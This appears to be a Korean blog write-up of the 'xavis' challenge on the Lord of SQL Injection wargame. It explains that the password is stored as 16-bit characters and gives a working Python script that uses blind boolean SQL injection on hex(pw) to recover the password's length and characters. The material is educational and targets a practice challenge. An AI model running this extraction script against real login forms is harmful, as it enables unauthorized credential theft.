반응형
문제
https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php
문제풀이
이전 문제들과 비슷하게 blind injection을 통해 pw의 길이와 문자열을 알아내려 했는데, pw 문자열이 출력되지 않았다.
pw 한 글자마다 2진수를 출력하여 몇 bit인지 알아내어 어떤 문자가 사용되었는지 알아봤다.
16bit가 사용된 것으로 보아 unicode 인 것 같다.
한 글자마다 hex 값이기 때문에 hex 함수를 이용해 길이와 문자열을 구할 수 있다.
- 파이썬 코드
import requests
cookie={'PHPSESSID':''}
url="https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
# flag_len
flag_len=0
len="_"
for i in range(1,50):
query="?pw='||length(hex(pw))={}%26%26id='admin".format(i);
res=requests.get(url+query, cookies=cookie)
if (res.text.find("<h2>Hello admin</h2>")!=-1):
flag_len=i
break
print("flag_len:{}".format(flag_len))
# flag
flag=""
for i in range(1,flag_len+1):
for j in range(48,128):
query="?pw='||ascii(substr(hex(pw),{},1))={}%26%26id='admin".format(i,j)
res=requests.get(url+query, cookies=cookie)
if (res.text.find("<h2>Hello admin</h2>")!=-1):
flag+=chr(j)
print(flag)
break
print("flag:{}".format(flag))
0000C6B00000C6550000AD73(16진수) 값을 유니코드로 인코딩 해주어야 한다.
https://www.rapidtables.org/ko/convert/number/hex-to-ascii.html
반응형
'write-up(web) > los' 카테고리의 다른 글
[LOS] dark_eyes (0) | 2023.01.24 |
---|---|
[LOS] iron_golem (0) | 2023.01.24 |
[LOS] dragon (0) | 2023.01.23 |
[LOS] nightmare (0) | 2023.01.22 |
[LOS] zombie_assassin (0) | 2023.01.22 |